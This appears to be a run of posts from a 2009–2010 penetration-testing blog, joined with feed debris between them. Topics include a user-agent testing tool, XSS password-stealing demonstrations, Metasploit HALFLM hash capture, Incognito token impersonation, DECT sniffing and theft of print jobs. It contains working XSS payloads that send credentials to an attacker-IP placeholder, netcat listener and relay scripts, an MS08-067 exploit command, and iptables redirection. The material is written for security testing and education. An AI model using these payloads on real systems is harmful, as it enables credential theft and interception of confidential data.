Working with some well-respected members of the Security Community, they’ve come up with the Security Cup, and are offering some nice prizes for people/teams who find vulnerabilities in their web application or infrastructure.

As you can imagine the scope is limited, no client-side attacks for example, but with the prizes on offer (Major bugs are awarded with EUR 5,000,  normal bugs are awarded with EUR 1,000) it looks like it’ll draw a crowd.

If you want to find out more information, head over to the Deutsche post Security Cup web-page and sign-up (via email). The sign-up phase runs through September, so there’s plenty of time!

A few things before I run through what the tool does and why I thought it was worth writing.

• This is only my second attempt at Python scripting, so don’t expect quality smooth code (yet)
• It’s an Alpha release…. i.e. it will probably suck and never work.
• I wrote this because I want to improve my Python fu.
  • I’d love constructive criticism
  • Hints and requests are always well received… but may be ignored
  • If you hate it, fail to see the point in it, or are just generally negative –> rm UAtester.py

So with that out of the way, what is UA-Tester?

UA-Tester was something I’ve been thinking of for a while due to the increase in mobile technology. A number of high-profile sites (twitter, facebook, google, and even Microsoft) offer mobile versions of their sites and functionality. Normally this wouldn’t be something you’d care about, but as a penetration tester or security researcher, you need to make sure you’re covering all the bases and getting full coverage when looking at web applications. I’ll give some examples in the following sections that should help clarify things I hope.

As you can see in the screenshot, UA-Tester will begin by connecting to the URL provided to it through the command line and returning some information about what response it receives. It does this initial connection using a standard (non-specific) user-agent string (in this case Mozilla/5.0). As you can see in the screenshot, the tool returns the final URL (in this case different from the one entered through the command line), as well as the initial response code (302 Found) and information such as Content-Type, Server header (if present) and the length/MD5 of the data portion of the response. I’m currently looking to expand this to also check and return headers such as X-XSS-Protection, cookie names and others that might be useful (cache, etc…).

The tool will then re-run the same request 3 times to ensure that the response are stable (to prevent false-positives in the event of advertising, rotating content, or general connection issues). Without stable responses, it’s hard to tell if the site is responding differently depending on the user-agent string used.

With the foundations completed, the tool will then check the URL provided using either a list provided by the user (-u at the command line, example .: -u ./useragents.lst) or a collection of default user-agent strings (and by default I mean, a random and interesting selection I’ve been using for testing) if no filename is given. It is also possible to pass the -s option and provide a single user-agent string to test (example .: -s googlebot/2.1).

A connection is made using each of the supplied/default user-agent strings in turn, and the differences between the original reference connection, and the new user-agent string are returned to the user. It is also possible to use verbose mode to see the entire dataset returned for use in manual data gathering or correlation.

The results of this are then returned to the user showing the User-Agent string being checked and any responses that differ from the reference connection (the one used to check the stability of the connection).

As you can see by the screenshot, using the user-agent string “jBrowser-WAP” the remote server (in this case www.microsoft.com) responds with a different final URL (forwarding the user to a mobile version of the site) and also shows that the version of IIS in use is now 7.0 instead of the originally reported IIS 7.5. This could offer a number of advantages for penetration testers as you can imagine. Not only are mobile versions of web applications commonly less secure (missing protections against things like click-jacking for example), but as can be seen here, may also offer a completely new Infrastructure that could be vulnerable when the main site isn’t.

Now, what this script does is nothing new. I’m sure most readers here are already aware that this can be achieved through the use of something like Burp Intruder. Hope fully though, you’ll find this tool at least mildly useful for initial checks and scoping. I know it’s something I’ll be using to make sure I’m covering 100% of the application and functionality and not just limiting myself to the homepage as seen from Internet Explorer or Firefox.

./UATester.py -h

This tool is designed to automatically check a given URL using a list of standard

and non-standard User Agent strings provided by the user (1 per line).

The results of these checks are then reported to the user for further manual

analysis where required. Gathered data includes response codes, resulting URL in

the case of a 30x response, MD5 and length of response body, and select Server headers

Usage .:

-u / –url Complete URL

-f / –file <Path to User Agent file> / If no file is provided, defaults will be used

-s / –single provide a single user-agent string (may need to be contained in quotes in specific circumstances)

-v / –verbose results

–debug See debug messages

Example .:

./UATester.py -u www.example.com -f ./useragentlist.txt -v

./UATester.py -u https://www.yourserver.com

./UATester.py -u http://www.defaultserver.com -v –debug

./UATester.py -u https://www.google.com -s “MySpecialUserAgent”

I’d like to thank all the Alpha testers who helped with the fine tuning and comments so far… @Digininja, @Markofu, @DaleaPearson, @Acanthephyra, and others. Much appreciated!

Todo:

• Sort the output… not happy with the current way data is returned to the user (confusing, too much data for a table)
• Output to a logfile for offline correlation (XML ?)
• Add proxy support
• Check and return information on additional headers, cookies and cache directives
• Possibly work on integration with W3AF (Already Python based)

Links:

• UATester –> Project Download
• C22.CC Tools/Scripts

Firefox Search

By default the drop down list comes with your typical default options (Google, Yahoo, Wikipedia and a few others). These all nice an everything, but for what we do, they’re not always the sources we need. After all, if you know you want to search for a CVE number, the why google for it. Best to go straight to the source, and pull up the info you need quickly and efficiently. So with that in mind, here are a few nice additions to the search list in Firefox.      

CVE dictionary search plugin 

• As the name suggests, this plugin allows you to search on keywords or CVE numbers and receive the results directly from Mitre.
• The search simply sends a request to http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword= with the search value set at the  keyword parameter

• https://addons.mozilla.org/en-US/firefox/addon/14598          

 Open Source Vulnerability Database Search

• For those that prefer to use OSVDB over CVE, there’s also an add-on that searches the OSVDB site
• https://addons.mozilla.org/en-US/firefox/addon/45607

  OVAL Repository

• OVAL (Open Vulnerability and Assessment Langauge) - The Standard for determining and Configuration Issues on Computer Systems
• https://addons.mozilla.org/en-US/firefox/addon/14600

 Packet Storm

• This plugin lets you search on Packet Storm – www.packetstormsecurity.org – database.
• Packet Storm offers an abundant resource of up-to-date and historical security tools, exploits, and advisories.
• https://addons.mozilla.org/en-US/firefox/addon/46818 

  RFC Search Plugin

• We all love RFCs don’t we! Yes, yes we do .
• https://addons.mozilla.org/en-US/firefox/addon/14780

 Pcapr  search

• This plugin lets you search on Pcapr – www.pcapr.net – archive
• Need an example packet capture? PCAPr is the place to find it
• https://addons.mozilla.org/en-US/firefox/addon/50414

  Exploit DB

• This plugin lets you search on Offsec Exploit archive – http://exploit-db.com. Offsec Exploit archive, also known as Explo.it, is the replacement of Milw0rm archive.
• Everybody needs exploits after all!
• https://addons.mozilla.org/en-US/firefox/addon/50241

 CIRT Default Password-DB

• Search CIRT.net default password database
• https://addons.mozilla.org/en-US/firefox/addon/58786

This isn’t a complete list by any means, but hopefully it’s a good start. I’ve not had a chance to run these through a transparent proxy to see the exact information being sent/received, so our mileage may vary. Use at your own risk.

You’ll be hard pressed to find a half decent developer or technically savvy manager that’s not heard of cross-site scripting. However, we’ve drilled it into people, that an XSS vulnerability is nothing more than a pop-up on the screen saying a witty message, or showing you your own cookie. In most cases we’re to blame for this reaction. After all, every time we demo an XSS flaw, that’s what we do…. good old alert(‘xss’).

So enough of the ranting, and on to the proof of concepts… after all, I can’t just leave you guys hanging without a solution, or at least a starting point. You’ll find examples like this (and probably better than this) all over the web. So take some time to look around and see what else there is you can do with XSS. You’ll be surprised what you can achieve with a simple reflective XSS attack.

Overlay

I’ve used this type of injection on a few occasions, and even though there are other more interesting methods of achieving the same thing, the technique can be used to do a lot… including blanking out sections of the site with your own content (advert, link, fake news entry etc…)

<div style=”position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:#FF3300″><form action=”http://[Attacker-IP]/evil.php”>Username:<br><input type=”text” name=”user”><br>Password:<br><input type=”text” name=”pass”><br><input type=”submit” value=”Logon”></form></div>

You can easily try this out yourself by pasting the above into a text editor and saving it as overlay.html. Opening it directly in your browser will bring up the rather obvious looking overlay (see orange screenshot). Why orange you may ask. Well, it’s so you can see where your overlay is when you’re working out the placement. It’s also find of hard to show management where your overlay is if it’s the same colour as the rest of the screen. For attackers, it’s got to look perfect. For a report and a demo, you also need to make it obvious so you can get your point across. It’s simple enough to change the background-color:#FF3300 to a colour of your choosing.

In this example the username and password information will be sent to the value of form action. In this case http://[Attacker-IP]/evil.php. You can simply set a netcat listener (nc -l 80) on a system to receive the information. It’s quick and easy, but doesn’t really give that full on attacker feel, as the user won’t get a response and timeout in the end. To prevent that, you can setup a php script to grab the info, or just do something quick and simple. I’ve been toying with a simple text file solution (quick and dirty).

As you can see, the solution uses a simple text file (302.txt in the above screenshot). This is fed into the netcat listener so that when our victim connects, they’ll receive a 302 redirect to whatever we add into the location. Obviously we can chain this and have them redirected to a Metasploit listener (see my ie_peers example video), or to anything else we want… BeEF for example!

Form Fiddling

Fiddling with forms is a little more fun and advanced than the above overlay option. Still it’s not exactly rocket science, else a non-programmer like me would never be able to manage it.

The basic idea is that by inserting JavaScript into the page (through stored or reflected XSS) you can change elements on the page after they’ve loaded. There’s a lot of different possibilities here, but keeping with our password stealing example from the overlay, here’s a simple example that alters the first form on the page [0] to a destination of the attackers choice.

onsubmit=”document.forms[0].action=’http://[Attacker-IP]/evil.php’”

The good thing about using the “onsubmit” event to make this change, is that if the user however over the submit link on the form, any pop-up will still be pointing to the official location. The change only takes effect when the user clicks submit. Then, as before, a simple netcat listener to wait for the communication from the victim machine. Even though this is an easy to implement attack, and it’s very effective, it’s hard to show screenshots of this in a report. Sometimes a picture is worth a thousand words. However, it’s great for live demos. Especially if you set the 302 redirect to send them back to the logon screen again (this time without the form changes). Most users will simple accept that they mis-typed their password.

Firefox Password Database / Single Sign-On

I was reminded of this attack vector recently as Jeremiah Grossman mentioned it on his Twitter feed. The basic premise of this attack is that Firefox will autofill saved passwords if the user has opted to save the logon information. Alongside Firefox I can also think of a few Single Sign-On tools that do the same sort of thing, and as a result should also fall foul to the same exploit (I need to do further testing to confirm this however).

By creating a hidden field as type password, the browser will autofill this with any saved password for the page. As this isn’t done straight away, a delay is imposed (using setTimeout) to delay the second action until the password is filled in and ready to be stolen.

javascript:document.write(‘<form><input id=pword type=password></form>’);<script>setTimeout(‘window.location =”http://[Attacker-IP]/evil.php?passwd=” %2bdocument.getElementById(“pword”).value’,100) </script>

The above example waits for 100 milliseconds and then performs a redirection (using window.location) to the attacker owned system. Again, it’s up to you what you want to do here. The window.location is a simple proof of concept, however it could be worked into a hidden iFrame, or even an AJAX request so that the victim isn’t aware of the transaction.

————————————————————–

These are all simple examples, but should be enough to get you started on a working proof of concept for your next XSS. With more time you can make these sneakier, better and a whole lot more evil. Where you take them from here is up to you.

Cross-Site Scripting might not be as exciting as SQLInjection or File includes…. but it is what you make of it. If you make it pop-up a box saying how 1337 you are, then don’t expect to get your message across.

————————————————————–

If you’re interested in learning more about what’s possible with XSS then I’d suggest checking out the XSS book from Syngress, as well as RSnake’s blog/forum over at http://ha.ckers.org. For more advanced exploitation frameworks, checkout the Browser Exploitation Framework (BeEF).

Without these resources this post wouldn’t have been possible.

Filed under: Penetration Test, Security Tagged: cross site scripting, javascript, password stealing, xss ]]> http://blog.c22.cc/2010/03/16/alertxss-the-slow-death-of-xss/feed/ 13 ChrisJohnRiley overlay nclistener_302 listener_win http://blog.c22.cc/2009/10/18/nikto-2-10-released/ http://blog.c22.cc/2009/10/18/nikto-2-10-released/#comments Sun, 18 Oct 2009 12:26:30 +0000 ChrisJohnRiley http://c22blog.wordpress.com/?p=938 Continue reading →]]> The guys over at CIRT.NET has released an update to the Nikto web server scanner tool. According to the blog post discussing the release, this version has undergone “significant rewrites under the hood …” “… to make it more expandable and usable”. Sounds interesting.

The newest version includes a number of bug-fixes, as well as some enhanced functionality .:

• Added test for asp source code disclosure through the Translate header
• New plugin added to identify embedded devices
• Added check for multiple index files for request
• Add plugin to use dirbuster lists with mutate 6 and mutate-options
• Added subdomain buteforcer as mutate option 5, thanks to Ryan DewHurst
• Added extra tests to pull information if scanning ePO agent or HP WBEM
• Added test to recognise a Dell Remote Access Console
• Now supports NTLM authentication
• Added tests to identify Ampache
• Altered favicon database to use dynamic database
• …

For a full list of fixes, enhancements and changes see the project changelog.

By looking at the versions.txt released with this version it appears that the following plugins have been updated .:

• nikto_user_enum_apache.plugin
• nikto_core.plugin

Until I read the post I’d been using the SMB_relay attack to load up a meterpreter shell onto the remote target, but seeing as Microsoft have finally decided this is a bug worth patching, it’s time to move on to other attack vectors. SMB_relay will still be a good attack vector for some attacks, but the patch against reflective relays means it’s not going to always be available.

All was going well with the walkthrough, I’d captured the hash from the target machine and had the HALFLM tables downloaded (halflmchall _alphanumeric #1-7_x_2400_ 1122334455667788). So after running the rcracki_mt_0.5.exe *.rti -h <First16Chars> was depressed to see that the first half wasn’t found (the tables are only alpha numeric after all). Not a problem I thought, and went back to Chris’ walkthrough to see the next step. That’s where it all went wrong. If you can’t find the first part of the hash, then the rest of the walkthrough isn’t going to help. I had a little hunt around the big WWW and like any good Googler I found some hints on what other tools could do a brute force or password guessing attack aginst the HALFLM format. I picked CAIN and set about trying to manually tell it what the username, LM hash and challenge were, without much luck. Cain can sometimes be stubborn on the input formats and you can’t manually tell it what should go where. I went back to the Metasploit smb capture module and had a closer look at the set options to see what I could do. Here I found the option to output captured the hashes straight into a format readable by Cain&Able (set PWFILE cain_hashdump.txt) instead of to the screen in a generic format.

After performing the SMB capture again, the file cain_hashdump.txt was created, allowing me to directly import it into CAIN (along with the challenge this time).

For those that may have already captured the HALFLM hash and need to import this into CAIN, the format of the dump output from Metasploit is as follows .:

USERNAME:DOMAIN:1122334455667788:LMHASH:NTHASH

The 1122334455667788 in the middle tells Cain what challenge was used by the Metasploit module. In this case Metasploit is hard coded to use \x11\x22\x33\x44\x55\x66\x77\x88 as the challenge string.

Hope you find this useful, and remember to checkout the Carnal0wnage blog for the RainbowTable method, as well as lots of other Metasploit hints, tips and examples.

As a penetration tester, I can breath a sigh of relief and know that this attack vector is still open. As a defender, the chance that Microsoft had changed the way this functionality works to block the attack was a welcome update to protect our systems. Still, you can’t expect Microsoft to repair something they see as a feature and the way things should work. Some things aren’t meant to be repaired I guess.

Testing

Just to make sure that Microsoft hadn’t broken the Incognito functionality while messing with the way tokens work, I ran a couple of tests against a Windows XP service pack 2 machine.

I started off with an unpatched version and ran the trusty MS08-067 exploit to get a meterpreter shell.

./msfcli exploit/windows/smb/ms08_067_netapi payload=windows/meterpreter/bind_tcp LHOST=192.168.0.104 RHOST=192.168.0.103 E

This functioned as you’d expect and resulted in a meterpreter shell running under the Local System Account. After running the “use incognito” command I listed the tokens using “list_tokens -u”.

Taking the local account “pentestuser” as the token to impersonate, I ran “impersonate_token PENTEST-3C73D9Cpentestuser”

Success, as expected on the unpatched system. Next up, I patched the system, rebooted and repeated the same msfcli exploit (MS08-067). This time however the exploit failed on the first run as it couldn’t isolate the exact service pack version. Metasploit listed it as Service Pack 2+ (which is technically correct). Re-running the command completed the exploit however.

Even after the patch everything seems fine in the token list.

The final test, impersonation of the PENTEST-3C73D9Cpentestuser user. As before this went off without a hitch, giving us access to the local user without error.

Conclusion

Microsoft have patched the flaws listed in KB952004 without effecting the Incognito tool (or the implementation of the tool within Metasploit). Good for attackers, bad for defenders. But you can’t always have it both ways can you. I doubt that we’ll be seeing a patch against the token impersonation flaw used in incognito anytime soon, if at all.

I’m heading to Blackhat Europe in a few hours (courtesy of a last minute press registration). If you’re there feel free to drop me a line and buy me a drink — > contact [at] c22 [dot] cc

dect_cli

I’ve been playing about with the com-on-air and tools from dedected for a few weeks now. Results are mixed, as those who’ve sat through eth few demos I’ve run can certainly attest to. Things are still in the early phases for the dedected tools and as much as I love what’s already there, it’s not really ready for the mainstream yet. Don’t get me wrong, whats been done is already amazing work, but for the penetration testers amongst you wanting to grab a com-on-air card from ebay and starting running tests, things aren’t always going to be 100%. Still, it makes managers sit up and pay attention if demonstrated correctly.

As an example of the issues, I’ve build the drivers and tools from source on 3 or 4 systems now (Fedora, Debian, and Backtrack 3 and 4). Compiling resulted in mixed results (some compile errors) and random capture failures (just capturing static as if the course was encrpyted). You’ll also probably get a few kernel panics before you learn to respect the driver and not expect hotswap support just yet. After one too many hit and miss captures from the compiled versions, I opted to go for the Chaox-ng boot USB which includes everything (yes I do mean everything) built in. I find that this USB boot option just adds to the effect when it comes to demos. You turn up with a PCMCIA card and a 1 GB USB stick. That and any laptop will do the job.

Wireshark SVN

The Chaox-ng distro includes the drivers and tools compiled to perfection (no capture issues here). The latest version also includes the SVN version of Wireshark (with DECT PCAP support). Kismet newcore is compiled in with the DECT plugin if you want to play about with this as well. About the only thing missing is the Metasploit auxiliary modules, but that always was just a Proof of Concept and not very functional. Personally I stick to using the ‘dect_cli’ tool (alongside pcapstein, pcap2chan and Wireshark). For those that are interested I’ve uploaded a few packet captures for you to take a look at.

Plantronics CS60 Captures (Encrypted B-Channel)

• Keepalive traffic capture (pcap) — HERE
• Headset pairing process (pcap) — Capture 1, Capture 2 and Capture 3
• Austrian speaking clock (pcap) — HERE

Siemens GIGASET (Unencrypted B-Channel)

• German Test Call (pcap) — HERE
• German Test Call (g721, wav) — HERE

kismet-newcore

The Plantronics PCAP’s are interesting to look at and see how the communications between the base unit and headset are handled. At this point I’ve not looked too much into the encryption implmented. From a couple of test calls the Plantronics appears to initiate the call and then encrypt a fraction of a second after the call begins. I’m leaning towards a standard implementation of DSC (DECT Standard Cipher) instead of a propriatary Plantronics implementation. Pity, as I was hoping for something in the pairing process that would signal a handshake and key creation process. I’ll leave the encyption work to people much smarter than me however. I just like to play with the new toys

DSAA (DECT Standard Authentication Algorithm) has already been reversed (see details here and the paper on the subject here). So next up will be the DSC hopefully. We’ll have to see how much longer the “Security through obscurity” of DECT works. I hope, for their sake, that they’ve implemented defence-in-depth

MITM attacks are often talked about together with credential stealing or traffic manipulation (inserting javascript into http streams). The new tool from Inguardians (the Middler) is a prime example of where the focus is right now. Although the middler was designed as a tool for performing attacks on all kinds of protocols, the examples provided with the alpha all focus on http(s) traffic. However what I want to talk about was using MITM attacks to steal confidential data in the form of print jobs.

When it comes to stealing data, most of the time you’re going to need a valid username/password to gain access. Sure you can exploit systems, use pass the hash or go the social engineering route, but you’re going to need access. However in this day and age of the failed paperless office, why go to those lengths when you can just steal the documents straight from the print queue. We all know how to perform ARP or DNS poisoning  to insert a system into the flow of traffic, but with printers this job can be made so much easier due to the overall lack of security on print devices.

There are four easy methods for stealing print jobs that spring to mind, other than using standard ARP or DNS spoofing attacks.

1. Physical access – A majority of printers offer unprotected access to the menu. Through physical access you can change the printers IP address and assume the original for yourself.
2. Telnet access – Not seen so often in modern printers, but can give you complete access if the passwords are blank or left at default. Again, reset the IP address and assume the original.
3. Webserver access – Most modern printers offer a web interface for easy configuration. Brute-Force is an option here as they rarely enforce lockouts or use domain credentials. Again, reset the IP address and assume the original.
4. Denial of Service – Crude but effective. This isn’t really a MITM attack, as you’d not be able to forward on the print job. Just drop the printer off the network (turn it off if you have to) and steal it’s IP.

Once you’ve gained access and stolen the IP address of the remote printer, there are a couple of ways to steal the print jobs. I started off by playing about with netcat using a simple netcat relay (and using tcpdump to copy the traffic).

mknod backpipe p
nc -l -p 9100 0<backpipe | nc <new printer ip> 9100 0>backpipe

The problem with this is that it would work on the first print job and then lockup. This is because the netcat relay would make the connection and leave it running. All subsequent print jobs would fail. Back to the drawing board.

My second attempt included the -w1 timeout for the second half of the netcat relay . This forces the connection to be dropped after 1 second of inactivity. This worked a little better but still not perfectly. I also threw in tee to prevent having to use tcpdump to capture the traffic (-a sets append).

mknod backpipe p
nc -l -p 9100 0<backpipe | tee -a capture.out | nc <new printer ip> -w1 9100 0>backpipe

The best results came from using the above command in a loop. I wrote a small bash script to do this. This is something to play with (your mileage may vary).

#!/bin/bash
i=1
PRNIP=10.10.10.10

while true; do
echo “Print jobs captured = $i”
nc -l -p 9100 0<backpipe | tee -a capture-$i.out | nc $PRNIP -w1 9100 0>backpipe
i=$i+1
done

As an alternative to netcat I also tested the use of iptables to perform a prerouting of the traffic.

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -F

iptables -t nat -F

iptables -X

iptables -t nat -A PREROUTING -p tcp — dport 9100 -j DNAT –to-destination <new printer ip>

The problem I can see here is that PREROUTING is performed before any of the traffic will be visible to TCPDUMP. So although we’re routing all the traffic to the printer, we can’t dump any of the print jobs. I’m no iptables expert by any stretch of the imagination. So maybe there is a way to do this easily without extra tools. I’ll have to try playing with the mangling rules and see if I can get some better results with iptables.

Although there are easier ways to extract hashdumps when using Metasploit’s Meterpreter, the process is an interesting use of Volatilitiy’s forensic tools for penetration testing. I’ll be sure to try this out on my next engagement.

Pauldotcom Episode 142 Show Notes –> http://pauldotcom.com/wiki/index.php/Episode142

The Volatility Framework –> https://www.volatilesystems.com/default/volatility

NIST Memory Samples –> http://www.cfreds.nist.gov/mem/memory-images.rar